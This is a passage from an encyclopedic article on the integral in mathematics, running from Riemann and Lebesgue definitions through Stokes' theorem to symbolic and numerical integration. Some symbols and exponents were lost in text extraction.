          As for the actual calculation of integrals, the fundamental theorem of calculus, due to Newton and Leibniz, is the fundamental link between the operations of differentiating and integrating. Applied to the square root curve, f(x) = x1/2, it says to look at the related function F(x)= 23x3/2, and simply take F(1)  F(0), where 0 and 1 are the boundaries of the interval [0,1]. (This is a case of a general rule, that for f(x)= xq, with q1, the related function, the so-called antiderivative is F(x)=(xq+1)/(q + 1).) So the exact value of the area under the curve is computed formally as


          
            	[image:  \int_0^1 \sqrt x \cdot dx = \int_0^1 x^{1/2} \cdot dx = \int_0^1 d \left({\textstyle \frac 2 3} x^{3/2}\right) = {\textstyle \frac 2 3}.]

          


          The notation


          
            	[image:  \int f(x) \, dx \,\! ]

          


          conceives the integral as a weighted sum, denoted by the elongated "S", with function values, f(x), multiplied by infinitesimal step widths, the so-called differentials, denoted by dx. The multiplication sign is usually omitted.


          Historically, after the failure of early efforts to rigorously interpret infinitesimals, Riemann formally defined integrals as a limit of weighted sums, so that the dx suggested the limit of a difference (namely, the interval width). Shortcomings of Riemann's dependence on intervals and continuity motivated newer definitions, especially the Lebesgue integral, which is founded on an ability to extend the idea of "measure" in much more flexible ways. Thus the notation


          
            	[image:  \int_A f(x) \, d\mu \,\!]

          


          refers to a weighted sum in which the function values are partitioned, with  measuring the weight to be assigned to each value. Here A denotes the region of integration.


          Differential geometry, with its "calculus on manifolds", gives the familiar notation yet another interpretation. Now f(x) and dx become a differential form, =f(x)dx, a new differential operator d, known as the exterior derivative appears, and the fundamental theorem becomes the more general Stokes' theorem,


          
            	[image:  \int_{A} \bold{d} \omega = \int_{\part A} \omega , \,\!]

          


          from which Green's theorem, the divergence theorem, and the fundamental theorem of calculus follow.


          More recently, infinitesimals have reappeared with rigor, through modern innovations such as non-standard analysis. Not only do these methods vindicate the intuitions of the pioneers, they also lead to new mathematics.


          Although there are differences between these conceptions of integral, there is considerable overlap. Thus the area of the surface of the oval swimming pool can be handled as a geometric ellipse, as a sum of infinitesimals, as a Riemann integral, as a Lebesgue integral, or as a manifold with a differential form. The calculated result will be the same for all.


          


          Formal definitions


          There are many ways of formally defining an integral, not all of which are equivalent. The differences exist mostly to deal with differing special cases which may not be integrable under other definitions, but also occasionally for pedagogical reasons. The most commonly used definitions of integral are Riemann integrals and Lebesgue integrals.


          


          Riemann integral


          
            [image: Integral approached as Riemann sum based on tagged partition, with irregular sampling positions and widths (max in red). True value is 3.76; estimate is 3.648.]

            
              Integral approached as Riemann sum based on tagged partition, with irregular sampling positions and widths (max in red). True value is 3.76; estimate is 3.648.
            

          


          The Riemann integral is defined in terms of Riemann sums of functions with respect to tagged partitions of an interval. Let [a,b] be a closed interval of the real line; then a tagged partition of [a,b] is a finite sequence


          
            	[image:  a = x_0 \le t_1 \le x_1 \le t_2 \le x_2 \le \cdots \le x_{n-1} \le t_n \le x_n = b . \,\!]

          


          
            [image: Riemann sums converging as intervals halve, whether sampled at ■right, ■minimum, ■maximum, or ■left.]

            
              Riemann sums converging as intervals halve, whether sampled at ■right, ■minimum, ■maximum, or ■left.
            

          


          This partitions the interval [a,b] into i sub-intervals [xi1, xi], each of which is "tagged" with a distinguished point ti  [xi1, xi]. Let i= xixi1 be the width of sub-interval i; then the mesh of such a tagged partition is the width of the largest sub-interval formed by the partition, maxi=1ni. A Riemann sum of a function f with respect to such a tagged partition is defined as


          
            	[image: \sum_{i=1}^{n} f(t_i) \Delta_i; ]

          


          thus each term of the sum is the area of a rectangle with height equal to the function value at the distinguished point of the given sub-interval, and width the same as the sub-interval width. The Riemann integral of a function f over the interval [a,b] is equal to S if:


          
            	
              For all >0 there exists >0 such that, for any tagged partition [a,b] with mesh less than , we have

              
                	[image: \left| S - \sum_{i=1}^{n} f(t_i)\Delta_i \right| < \epsilon.]

              

            

          


          When the chosen tags give the maximum (respectively, minimum) value of each interval, the Riemann sum becomes an upper (respectively, lower) Darboux sum, suggesting the close connection between the Riemann integral and the Darboux integral.


          


          Lebesgue integral


          
            
              	Topics in calculus
            


            
              	
                Fundamental theorem

                Limits of functions

                Continuity

                Vector calculus

                Matrix calculus

                Mean value theorem

              
            


            
              	Differentiation
            


            
              	
                Product rule

                Quotient rule

                Chain rule

                Implicit differentiation

                Taylor's theorem

                Related rates

                List of differentiation identities

              
            


            
              	Integration
            


            
              	
                Lists of integrals

                Improper integrals

                Integration by:

                parts, disks, cylindrical

                shells, substitution,

                trigonometric substitution,

                partial fractions, changing order

              
            

          


          The Riemann integral is not defined for a wide range of functions and situations of importance in applications (and of interest in theory). For example, the Riemann integral can easily integrate density to find the mass of a steel beam, but cannot accommodate a steel ball resting on it. This motivates other definitions, under which a broader assortment of functions is integrable (Rudin 1987). The Lebesgue integral, in particular, achieves great flexibility by directing attention to the weights in the weighted sum.


          The definition of the Lebesgue integral thus begins with a measure, . In the simplest case, the Lebesgue measure (A) of an interval A= [a,b] is its width, b  a, so that the Lebesgue integral agrees with the (proper) Riemann integral when both exist. In more complicated cases, the sets being measured can be highly fragmented, with no continuity and no resemblance to intervals.


          To exploit this flexibility, Lebesgue integrals reverse the approach to the weighted sum. As Folland (1984, p.56) puts it, "To compute the Riemann integral of f, one partitions the domain [a,b] into subintervals", while in the Lebesgue integral, "one is in effect partitioning the range of f".


          One common approach first defines the integral of the indicator function of a measurable set A by:


          
            	[image: \int 1_A d\mu = \mu(A)].

          


          This extends by linearity to a measurable simple function s, which attains only a finite number, n, of distinct non-negative values:


          
            	[image: \begin{align} \int s \, d\mu &{}= \int\left(\sum_{i=1}^{n} a_i 1_{A_i}\right) d\mu \ &{}= \sum_{i=1}^{n} a_i\int 1_{A_i} \, d\mu \ &{}= \sum_{i=1}^{n} a_i \, \mu(A_i) \end{align}]

          


          (where the image of Ai under the simple function s is the constant value ai). Thus if E is a measurable set one defines


          
            	[image:  \int_E s \, d\mu = \sum_{i=1}^{n} a_i \, \mu(A_i \cap E) . ]

          


          Then for any non-negative measurable function f one defines


          
            	[image: \int_E f \, d\mu = \sup\left\{\int_E s \, d\mu\, \colon 0 \leq s\leq f\text{ and } s\text{ is a simple function}\right\};]

          


          that is, the integral of f is set to be the supremum of all the integrals of simple functions that are less than or equal to f. A general measurable function f, is split into its positive and negative values by defining


          
            	[image: \begin{align} f^+(x) &{}= \begin{cases} f(x), & \text{if } f(x) > 0 \ 0, & \text{otherwise} \end{cases} \ f^-(x) &{}= \begin{cases} -f(x), & \text{if } f(x) < 0 \ 0, & \text{otherwise} \end{cases} \end{align}]

          


          Finally, f is Lebesgue integrable if


          
            	[image: \int_E |f| \, d\mu < \infty , \,\!]

          


          and then the integral is defined by


          
            	[image: \int_E f \, d\mu = \int_E f^+ \, d\mu - \int_E f^- \, d\mu . \,\!]

          


          When the measure space on which the functions are defined is also a locally compact topological space (as is the case with the real numbers R), measures compatible with the topology in a suitable sense ( Radon measures, of which the Lebesgue measure is an example) and integral with respect to them can be defined differently, starting from the integrals of continuous functions with compact support. More precisely, the compactly supported functions form a vector space that carries a natural topology, and a (Radon) measure can be defined as any continuous linear functional on this space; the value of a measure at a compactly supported function is then also by definition the integral of the function. One then proceeds to expand the measure (the integral) to more general functions by continuity, and defines the measure of a set as the integral of its indicator function. This is the approach taken by Bourbaki (2004) and a certain number of other authors. For details see Radon measures.


          


          Other integrals


          Although the Riemann and Lebesgue integrals are the most important definitions of the integral, a number of others exist, including:


          
            	The Riemann-Stieltjes integral, an extension of the Riemann integral.


            	The Lebesgue-Stieltjes integral, further developed by Johann Radon, which generalizes the Riemann-Stieltjes and Lebesgue integrals.


            	The Daniell integral, which subsumes the Lebesgue integral and Lebesgue-Stieltjes integral without the dependence on measures.


            	The Henstock-Kurzweil integral, variously defined by Arnaud Denjoy, Oskar Perron, and (most elegantly, as the gauge integral) Jaroslav Kurzweil, and developed by Ralph Henstock.

          


          


          Properties of integration


          


          Linearity


          
            	The collection of Riemann integrable functions on a closed interval [a, b] forms a vector space under the operations of pointwise addition and multiplication by a scalar, and the operation of integration

          


          
            	
              
                	[image:  f \mapsto \int_a^b f \; dx]

              

            


            	is a linear functional on this vector space. Thus, firstly, the collection of integrable functions is closed under taking linear combinations; and, secondly, the integral of a linear combination is the linear combination of the integrals,

          


          
            	
              
                	[image:  \int_a^b (\alpha f + \beta g)(x) \, dx = \alpha \int_a^b f(x) \,dx + \beta \int_a^b g(x) \, dx. \,]

              

            

          


          
            	Similarly, the set of real-valued Lebesgue integrable functions on a given measure space E with measure  is closed under taking linear combinations and hence form a vector space, and the Lebesgue integral

          


          
            	
              
                	[image:  f\mapsto \int_E f d\mu ]

              

            

          


          
            	is a linear functional on this vector space, so that

          


          
            	
              
                	[image:  \int_E (\alpha f + \beta g) \, d\mu = \alpha \int_E f \, d\mu + \beta \int_E g \, d\mu. ]

              

            

          


          
            	More generally, consider the vector space of all measurable functions on a measure space (E,), taking values in a locally compact complete topological vector space V over a locally compact topological field K, f: E  V. Then one may define an abstract integration map assigning to each function f an element of V or the symbol ,

          


          
            	
              
                	[image:  f\mapsto\int_E f d\mu, \,]

              

            


            	that is compatible with linear combinations. In this situation the linearity holds for the subspace of functions whose integral is an element of V (i.e. "finite"). The most important special cases arise when K is R, C, or a finite extension of the field Qp of p-adic numbers, and V is a finite-dimensional vector space over K, and when K=C and V is a complex Hilbert space.

          


          Linearity, together with some natural continuity properties and normalisation for a certain class of "simple" functions, may be used to give an alternative definition of the integral. This is the approach of Daniell for the case of real-valued functions on a set X, generalized by Nicolas Bourbaki to functions with values in a locally compact topological vector space. See (Hildebrandt 1953) for an axiomatic characterisation of the integral.


          


          Inequalities for integrals


          A number of general inequalities hold for Riemann-integrable functions defined on a closed and bounded interval [a, b] and can be generalized to other notions of integral (Lebesgue and Daniell).


          
            	Upper and lower bounds. An integrable function f on [a, b], is necessarily bounded on that interval. Thus there are real numbers m and M so that m  f(x)  M for all x in [a, b]. Since the lower and upper sums of f over [a, b] are therefore bounded by, respectively, m(b  a) and M(b  a), it follows that

          


          
            	
              
                	[image:  m(b - a) \leq \int_a^b f(x) \, dx \leq M(b - a). ]

              

            

          


          
            	Inequalities between functions. If f(x)  g(x) for each x in [a, b] then each of the upper and lower sums of f is bounded above by the upper and lower sums, respectively, of g. Thus

          


          
            	
              
                	[image:  \int_a^b f(x) \, dx \leq \int_a^b g(x) \, dx. ]

              

            


            	This is a generalization of the above inequalities, as M(b  a) is the integral of the constant function with value M over [a, b].

          


          
            	Subintervals. If [c, d] is a subinterval of [a, b] and f(x) is non-negative for all x, then

          


          
            	
              
                	[image:  \int_c^d f(x) \, dx \leq \int_a^b f(x) \, dx. ]

              

            

          


          
            	Products and absolute values of functions. If f and g are two functions then we may consider their pointwise products and powers, and absolute values:

          


          
            	
              
                	[image:  (fg)(x)= f(x) g(x), \; f^2 (x) = (f(x))^2, \; |f| (x) = |f(x)|.\,]

              

            


            	
              If f is Riemann-integrable on [a, b] then the same is true for |f|, and

              
                	[image: \left| \int_a^b f(x) \, dx \right| \leq \int_a^b | f(x) | \, dx. ]

              

            


            	
              Moreover, if f and g are both Riemann-integrable then f 2, g 2, and fg are also Riemann-integrable, and

              
                	[image: \left( \int_a^b (fg)(x) \, dx \right)^2 \leq \left( \int_a^b f(x)^2 \, dx \right) \left( \int_a^b g(x)^2 \, dx \right). ]

              

            


            	This inequality, known as the CauchySchwarz inequality, plays a prominent role in Hilbert space theory, where the left hand side is interpreted as the inner product of two square-integrable functions f and g on the interval [a, b].

          


          
            	Hlder's inequality. Suppose that p and q are two real numbers, 1  p, q   with 1/p + 1/q = 1, and f and g are two Riemann-integrable functions. Then the functions |f|p and |g|q are also integrable and the following Hlder's inequality holds:

          


          
            	[image: \left|\int f(x)g(x)\,dx\right| \leq \left(\int \left|f(x)\right|^p\,dx \right)^{1/p} \left(\int\left|g(x)\right|^q\,dx\right)^{1/q}.]


            	For p = q = 2, Hlder's inequality becomes the CauchySchwarz inequality.

          


          
            	Minkowski inequality. Suppose that p  1 is a real number and f and g are Riemann-integrable functions. Then |f|p, |g|p and |f + g|p are also Riemann integrable and the following Minkowski inequality holds:

          


          
            	[image: \left(\int \left|f(x)+g(x)\right|^p\,dx \right)^{1/p} \leq \left(\int \left|f(x)\right|^p\,dx \right)^{1/p} + \left(\int \left|g(x)\right|^p\,dx \right)^{1/p}.]


            	An analogue of this inequality for Lebesgue integral is used in construction of Lp spaces.

          


          


          Conventions


          In this section f is a real-valued Riemann-integrable function. The integral


          
            	[image:  \int_a^b f(x) \, dx ]

          


          over an interval [a, b] is defined if a < b. This means that the upper and lower sums of the function f are evaluated on a partition a = x0  x1  . . .  xn = b whose values xi are increasing. Geometrically, this signifies that integration takes place "left to right", evaluating f within intervals [xi, xi+1] where an interval with a higher index lies to the right of one with a lower index. The values a and b, the end-points of the interval, are called the limits of integration of f. Integrals can also be defined if a > b:


          
            	Reversing limits of integration. If a > b then define

          


          
            	
              
                	[image: \int_a^b f(x) \, dx = - \int_b^a f(x) \, dx. ]

              

            

          


          This, with a = b, implies:


          
            	Integrals over intervals of length zero. If a is a real number then

          


          
            	
              
                	[image: \int_a^a f(x) \, dx = 0. ]

              

            

          


          The first convention is necessary in consideration of taking integrals over subintervals of [a, b]; the second says that an integral taken over a degenerate interval, or a point, should be zero. One reason for the first convention is that the integrability of f on an interval [a, b] implies that f is integrable on any subinterval [c, d], but in particular integrals have the property that:


          
            	Additivity of integration on intervals. If c is any element of [a, b], then

          


          
            	
              
                	[image:  \int_a^b f(x) \, dx = \int_a^c f(x) \, dx + \int_c^b f(x) \, dx.]

              

            

          


          With the first convention the resulting relation


          
            	[image: \begin{align} \int_a^c f(x) \, dx &{}= \int_a^b f(x) \, dx - \int_c^b f(x) \, dx \ &{} = \int_a^b f(x) \, dx + \int_b^c f(x) \, dx \end{align}]

          


          is then well-defined for any cyclic permutation of a, b, and c.


          Instead of viewing the above as conventions, one can also adopt the point of view that integration is performed on oriented manifolds only. If M is such an oriented m-dimensional manifold, and M' is the same manifold with opposed orientation and  is an m-form, then one has (see below for integration of differential forms):


          
            	[image: \int_M \omega = - \int_{M'} \omega \,.]

          


          


          Fundamental theorem of calculus


          The fundamental theorem of calculus is the statement that differentiation and integration are inverse operations: if a continuous function is first integrated and then differentiated, the original function is retrieved. An important consequence, sometimes called the second fundamental theorem of calculus, allows one to compute integrals by using an antiderivative of the function to be integrated.


          


          Statements of theorems


          
            	Fundamental theorem of calculus. Let f be a real-valued integrable function defined on a closed interval [a, b]. If F is defined for x in [a, b] by

          


          
            	
              
                	[image: F(x) = \int_a^x f(t)\, dt.]

              

            


            	then F is continuous on [a, b]. If f is continuous at x in [a, b], then F is differentiable at x, and F(x) = f(x).

          


          
            	Second fundamental theorem of calculus. Let f be a real-valued integrable function defined on a closed interval [a, b]. If F is a function such that F(x) = f(x) for all x in [a, b] (that is, F is an antiderivative of f), then

          


          
            	
              
                	[image: \int_a^b f(t)\, dt = F(b) - F(a).]

              

            

          


          
            	Corollary. If f is a continuous function on [a, b], then f is integrable on [a, b], and F, defined by

          


          
            	
              
                	[image: F(x) = \int_a^x f(t) \, dt]

              

            


            	
              is an anti-derivative of f on [a, b]. Moreover,

              
                	[image: \int_a^b f(t) \, dt = F(b) - F(a).]

              

            

          


          


          Extensions


          


          Improper integrals


          
            [image: The improper integral has unbounded intervals for both domain and range.]

            
              The improper integral

              [image: \int_{0}^{\infty} \frac{dx}{(x+1)\sqrt{x}} = \pi]

              has unbounded intervals for both domain and range.
            

          


          A "proper" Riemann integral assumes the integrand is defined and finite on a closed and bounded interval, bracketed by the limits of integration. An improper integral occurs when one or more of these conditions is not satisfied. In some cases such integrals may be defined by considering the limit of a sequence of proper Riemann integrals on progressively larger intervals.


          If the interval is unbounded, for instance at its upper end, then the improper integral is the limit as that endpoint goes to infinity.


          
            	[image: \int_{a}^{\infty} f(x)dx = \lim_{b \to \infty} \int_{a}^{b} f(x)dx]

          


          If the integrand is only defined or finite on a half-open interval, for instance (a,b], then again a limit may provide a finite result.


          
            	[image: \int_{a}^{b} f(x)dx = \lim_{\epsilon \to 0} \int_{a+\epsilon}^{b} f(x)dx]

          


          That is, the improper integral is the limit of proper integrals as one endpoint of the interval of integration approaches either a specified real number, or , or . In more complicated cases, limits are required at both endpoints, or at interior points.


          Consider, for example, the function [image: \tfrac{1}{(x+1)\sqrt{x}}] integrated from 0 to  (shown right). At the lower bound, as x goes to 0 the function goes to , and the upper bound is itself , though the function goes to 0. Thus this is a doubly improper integral. Integrated, say, from 1 to 3, an ordinary Riemann sum suffices to produce a result of [image: \tfrac{\pi}{6}]. To integrate from 1 to , a Riemann sum is not possible. However, any finite upper bound, say t (with t>1), gives a well-defined result, [image: \tfrac{\pi}{2} - 2\arctan \tfrac{1}{\sqrt{t}}]. This has a finite limit as t goes to infinity, namely [image: \tfrac{\pi}{2}]. Similarly, the integral from 13 to 1 allows a Riemann sum as well, coincidentally again producing [image: \tfrac{\pi}{6}]. Replacing 13 by an arbitrary positive value s (with s<1) is equally safe, giving [image: -\tfrac{\pi}{2} + 2\arctan\tfrac{1}{\sqrt{s}}]. This, too, has a finite limit as s goes to zero, namely [image: \tfrac{\pi}{2}]. Combining the limits of the two fragments, the result of this improper integral is


          
            	[image: \begin{align} \int_{0}^{\infty} \frac{dx}{(x+1)\sqrt{x}} &{} = \lim_{s \to 0} \int_{s}^{1} \frac{dx}{(x+1)\sqrt{x}} + \lim_{t \to \infty} \int_{1}^{t} \frac{dx}{(x+1)\sqrt{x}} \ &{} = \lim_{s \to 0} \left( - \frac{\pi}{2} + 2 \arctan\frac{1}{\sqrt{s}} \right) + \lim_{t \to \infty} \left( \frac{\pi}{2} - 2 \arctan\frac{1}{\sqrt{t}} \right) \ &{} = \frac{\pi}{2} + \frac{\pi}{2} \ &{} = \pi . \end{align}]

          


          This process is not guaranteed success; a limit may fail to exist, or may be unbounded. For example, over the bounded interval 0 to 1 the integral of [image: \tfrac{1}{x^2}] does not converge; and over the unbounded interval 1 to  the integral of [image: \tfrac{1}{\sqrt{x}}] does not converge.


          It may also happen that an integrand is unbounded at an interior point, in which case the integral must be split at that point, and the limit integrals on both sides must exist and must be bounded. Thus


          
            	[image: \begin{align} \int_{-1}^{1} \frac{dx}{\sqrt[3]{x^2}} &{} = \lim_{s \to 0} \int_{-1}^{-s} \frac{dx}{\sqrt[3]{x^2}} + \lim_{t \to 0} \int_{t}^{1} \frac{dx}{\sqrt[3]{x^2}} \ &{} = \lim_{s \to 0} 3(1-\sqrt[3]{s}) + \lim_{t \to 0} 3(1-\sqrt[3]{t}) \ &{} = 3 + 3 \ &{} = 6. \end{align}]

          


          But the similar integral


          
            	[image:  \int_{-1}^{1} \frac{dx}{x} \,\!]

          


          cannot be assigned a value in this way, as the integrals above and below zero do not independently converge. (However, see Cauchy principal value.)


          


          Multiple integration


          
            [image: Double integral as volume under a surface.]

            
              Double integral as volume under a surface.
            

          


          Integrals can be taken over regions other than intervals. In general, an integral over a set E of a function f is written:


          
            	[image: \int_E f(x) \, dx]

          


          Here x need not be a real number, but can be another suitable quantity, for instance, a vector in R3. Fubini's theorem shows that such integrals can be rewritten as an iterated integral. In other words, the integral can be calculated by integrating one coordinate at a time.


          Just as the definite integral of a positive function of one variable represents the area of the region between the graph of the function and the x-axis, the double integral of a positive function of two variables represents the volume of the region between the surface defined by the function and the plane which contains its domain. (The same volume can be obtained via the triple integral  the integral of a function in three variables  of the constant function f(x, y, z) = 1 over the above-mentioned region between the surface and the plane.) If the number of variables is higher, then the integral represents a hypervolume, a volume of a solid of more than three dimensions that cannot be graphed.


          For example, the volume of the parallelepiped of sides 4  6  5 may be obtained in two ways:


          
            	By the double integral

          


          
            	
              
                	[image: \iint_D 5 \ dx\, dy]

              

            


            	of the function f(x, y) = 5 calculated in the region D in the xy-plane which is the base of the parallelepiped.

          


          
            	By the triple integral

          


          
            	
              
                	[image: \iiint_\mathrm{parallelepiped} 1 \, dx\, dy\, dz]

              

            


            	of the constant function 1 calculated on the parallelepiped itself.

          


          Because it is impossible to calculate the antiderivative of a function of more than one variable, indefinite multiple integrals do not exist, so such integrals are all definite.


          


          Line integrals


          
            [image: A line integral sums together elements along a curve.]

            
              A line integral sums together elements along a curve.
            

          


          The concept of an integral can be extended to more general domains of integration, such as curved lines and surfaces. Such integrals are known as line integrals and surface integrals respectively. These have important applications in physics, as when dealing with vector fields.


          A line integral (sometimes called a path integral) is an integral where the function to be integrated is evaluated along a curve. Various different line integrals are in use. In the case of a closed curve it is also called a contour integral.


          The function to be integrated may be a scalar field or a vector field. The value of the line integral is the sum of values of the field at all points on the curve, weighted by some scalar function on the curve (commonly arc length or, for a vector field, the scalar product of the vector field with a differential vector in the curve). This weighting distinguishes the line integral from simpler integrals defined on intervals. Many simple formulas in physics have natural continuous analogs in terms of line integrals; for example, the fact that work is equal to force multiplied by distance may be expressed (in terms of vector quantities) as:


          
            	[image: W=\vec F\cdot\vec d];

          


          which is paralleled by the line integral:


          
            	[image: W=\int_C \vec F\cdot d\vec s];

          


          which sums up vector components along a continuous path, and thus finds the work done on an object moving through a field, such as an electric or gravitational field


          


          Surface integrals


          
            [image: The definition of surface integral relies on splitting the surface into small surface elements.]

            
              The definition of surface integral relies on splitting the surface into small surface elements.
            

          


          A surface integral is a definite integral taken over a surface (which may be a curved set in space); it can be thought of as the double integral analog of the line integral. The function to be integrated may be a scalar field or a vector field. The value of the surface integral is the sum of the field at all points on the surface. This can be achieved by splitting the surface into surface elements, which provide the partitioning for Riemann sums.


          For an example of applications of surface integrals, consider a vector field v on a surface S; that is, for each point x in S, v(x) is a vector. Imagine that we have a fluid flowing through S, such that v(x) determines the velocity of the fluid at x. The flux is defined as the quantity of fluid flowing through S in unit amount of time. To find the flux, we need to take the dot product of v with the unit surface normal to S at each point, which will give us a scalar field, which we integrate over the surface:


          
            	[image: \int_S {\mathbf v}\cdot \,d{\mathbf {S}}].

          


          The fluid flux in this example may be from a physical fluid such as water or air, or from electrical or magnetic flux. Thus surface integrals have applications in physics, particularly with the classical theory of electromagnetism.


          


          Integrals of differential forms


          A differential form is a mathematical concept in the fields of multivariable calculus, differential topology and tensors. The modern notation for the differential form, as well as the idea of the differential forms as being the wedge products of exterior derivatives forming an exterior algebra, was introduced by lie Cartan.


          We initially work in an open set in Rn. A 0-form is defined to be a smooth function f. When we integrate a function f over an m- dimensional subspace S of Rn, we write it as


          
            	[image: \int_S f\,dx^1 \cdots dx^m.]

          


          (The superscripts are indices, not exponents.) We can consider dx1 through dxn to be formal objects themselves, rather than tags appended to make integrals look like Riemann sums. Alternatively, we can view them as covectors, and thus a measure of "density" (hence integrable in a general sense). We call the dx1, ,dxn basic 1-forms.


          We define the wedge product, "", a bilinear "multiplication" operator on these elements, with the alternating property that


          
            	[image:  dx^a \wedge dx^a = 0 \,\!]

          


          for all indices a. Note that alternation along with linearity implies dxbdxa= dxadxb. This also ensures that the result of the wedge product has an orientation.


          We define the set of all these products to be basic 2-forms, and similarly we define the set of products of the form dxadxbdxc to be basic 3-forms. A general k-form is then a weighted sum of basic k-forms, where the weights are the smooth functions f. Together these form a vector space with basic k-forms as the basis vectors, and 0-forms (smooth functions) as the field of scalars. The wedge product then extends to k-forms in the natural way. Over Rn at most n covectors can be linearly independent, thus a k-form with k>n will always be zero, by the alternating property.


          In addition to the wedge product, there is also the exterior derivative operator d. This operator maps k-forms to (k+1)-forms. For a k-form  = f dxa over Rn, we define the action of d by:


          
            	[image: {\bold d}{\omega} = \sum_{i=1}^n \frac{\partial f}{\partial x_i} dx^i \wedge dx^a.]

          


          with extension to general k-forms occurring linearly.


          This more general approach allows for a more natural coordinate-free approach to integration on manifolds. It also allows for a natural generalisation of the fundamental theorem of calculus, called Stokes' theorem, which we may state as


          
            	[image: \int_{\Omega} {\bold d}\omega = \int_{\partial\Omega} \omega \,\!]

          


          where  is a general k-form, and  denotes the boundary of the region . Thus in the case that  is a 0-form and  is a closed interval of the real line, this reduces to the fundamental theorem of calculus. In the case that  is a 1-form and  is a 2-dimensional region in the plane, the theorem reduces to Green's theorem. Similarly, using 2-forms, and 3-forms and Hodge duality, we can arrive at Stokes' theorem and the divergence theorem. In this way we can see that differential forms provide a powerful unifying view of integration.


          


          Methods and applications


          


          Computing integrals


          The most basic technique for computing integrals of one real variable is based on the fundamental theorem of calculus. It proceeds like this:


          
            	Choose a function f(x) and an interval [a, b].


            	Find an antiderivative of f, that is, a function F such that F' = f.


            	By the fundamental theorem of calculus, provided the integrand and integral have no singularities on the path of integration,

              
                	[image: \int_a^b f(x)\,dx = F(b)-F(a).]

              

            


            	Therefore the value of the integral is F(b)  F(a).

          


          Note that the integral is not actually the antiderivative, but the fundamental theorem allows us to use antiderivatives to evaluate definite integrals.


          The difficult step is often finding an antiderivative of f. It is rarely possible to glance at a function and write down its antiderivative. More often, it is necessary to use one of the many techniques that have been developed to evaluate integrals. Most of these techniques rewrite one integral as a different one which is hopefully more tractable. Techniques include:


          
            	Integration by substitution


            	Integration by parts


            	Integration by trigonometric substitution


            	Integration by partial fractions


            	Integration by reduction formulae

          


          Even if these techniques fail, it may still be possible to evaluate a given integral. The next most common technique is residue calculus, whilst for nonelementary integrals Taylor series can sometimes be used to find the antiderivative. There are also many less common ways of calculating definite integrals; for instance, Parseval's identity can be used to transform an integral over a rectangular region into an infinite sum. Occasionally, an integral can be evaluated by a trick; for an example of this, see Gaussian integral.


          Computations of volumes of solids of revolution can usually be done with disk integration or shell integration.


          Specific results which have been worked out by various techniques are collected in the list of integrals.


          


          Symbolic algorithms


          Many problems in mathematics, physics, and engineering involve integration where an explicit formula for the integral is desired. Extensive tables of integrals have been compiled and published over the years for this purpose. With the spread of computers, many professionals, educators, and students have turned to computer algebra systems that are specifically designed to perform difficult or tedious tasks, including integration. Symbolic integration presents a special challenge in the development of such systems.


          A major mathematical difficulty in symbolic integration is that in many cases, a closed formula for the antiderivative of a rather innocently looking function simply does not exist. For instance, it is known that the antiderivatives of the functions exp ( x2), xx and sinx/x cannot be expressed in the closed form involving only rational and exponential functions, logarithm, trigonometric and inverse trigonometric functions, and the operations of multiplication and composition; in other words, none of the three given functions is integrable in elementary functions. Differential Galois theory provides general criteria that allow one to determine whether the antiderivative of an elementary function is elementary. Unfortunately, it turns out that functions with closed expressions of antiderivatives are the exception rather than the rule. Consequently, computerized algebra systems have no hope of being able to find an antiderivative for a randomly constructed elementary function. On the positive side, if the 'building blocks' for antiderivatives are fixed in advance, it may be still be possible to decide whether the antiderivative of a given function can be expressed using these blocks and operations of multiplication and composition, and to find the symbolic answer whenever it exists. The Risch algorithm, implemented in Mathematica and the Maple computer algebra systems, does just that for functions and antiderivatives built from rational functions, radicals, logarithm, and exponential functions.


          Some special integrands occur often enough to warrant special study. In particular, it may be useful to have, in the set of antiderivatives, the special functions of physics (like the Legendre functions, the hypergeometric function, the Gamma function and so on). Extending the Risch-Norman algorithm so that it includes these functions is possible but challenging.


          Most humans are not able to integrate such general formulae, so in a sense computers are more skilled at integrating highly complicated formulae. Very complex formulae are unlikely to have closed-form antiderivatives, so how much of an advantage does this present is a philosophical question that is open for debate.


          


          Numerical quadrature


          The integrals encountered in a basic calculus course are deliberately chosen for simplicity; those found in real applications are not always so accommodating. Some integrals cannot be found exactly, some require special functions which themselves are a challenge to compute, and others are so complex that finding the exact answer is too slow. This motivates the study and application of numerical methods for approximating integrals, which today use floating point arithmetic on digital electronic computers. Many of the ideas arose much earlier, for hand calculations; but the speed of general-purpose computers like the ENIAC created a need for improvements.


          The goals of numerical integration are accuracy, reliability, efficiency, and generality. Sophisticated methods can vastly outperform a naive method by all four measures (Dahlquist & Bjrck forthcoming; Kahaner, Moler & Nash 1989; Stoer & Bulirsch 2002). Consider, for example, the integral


          
            	[image:  \int_{-2}^{2} \tfrac15 \left( \tfrac{1}{100}(322 + 3 x (98 + x (37 + x))) - 24 \frac{x}{1+x^2} \right) dx , ]

          


          which has the exact answer 9425= 3.76. (In ordinary practice the answer is not known in advance, so an important task  not explored here  is to decide when an approximation is good enough.) A calculus book approach divides the integration range into, say, 16 equal pieces, and computes function values.


          
            	
              
                
                  Spaced function values
                

                
                  	x

                  	2.00

                  	1.50

                  	1.00

                  	0.50

                  	0.00

                  	0.50

                  	1.00

                  	1.50

                  	2.00
                


                
                  	f(x)

                  	2.22800

                  	2.45663

                  	2.67200

                  	2.32475

                  	0.64400

                  	0.92575

                  	0.94000

                  	0.16963

                  	0.83600
                


                
                  	x

                  	

                  	1.75

                  	1.25

                  	0.75

                  	0.25

                  	0.25

                  	0.75

                  	1.25

                  	1.75

                  	
                


                
                  	f(x)

                  	

                  	2.33041

                  	2.58562

                  	2.62934

                  	1.64019

                  	0.32444

                  	1.09159

                  	0.60387

                  	0.31734
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          Using the left end of each piece, the rectangle method sums 16 function values and multiplies by the step width, h, here 0.25, to get an approximate value of 3.94325 for the integral. The accuracy is not impressive, but calculus formally uses pieces of infinitesimal width, so initially this may seem little cause for concern. Indeed, repeatedly doubling the number of steps eventually produces an approximation of 3.76001. However 218 pieces are required, a great computational expense for so little accuracy; and a reach for greater accuracy can force steps so small that arithmetic precision becomes an obstacle.


          A better approach replaces the horizontal tops of the rectangles with slanted tops touching the function at the ends of each piece. This trapezium rule is almost as easy to calculate; it sums all 17 function values, but weights the first and last by one half, and again multiplies by the step width. This immediately improves the approximation to 3.76925, which is noticeably more accurate. Furthermore, only 210 pieces are needed to achieve 3.76000, substantially less computation than the rectangle method for comparable accuracy.


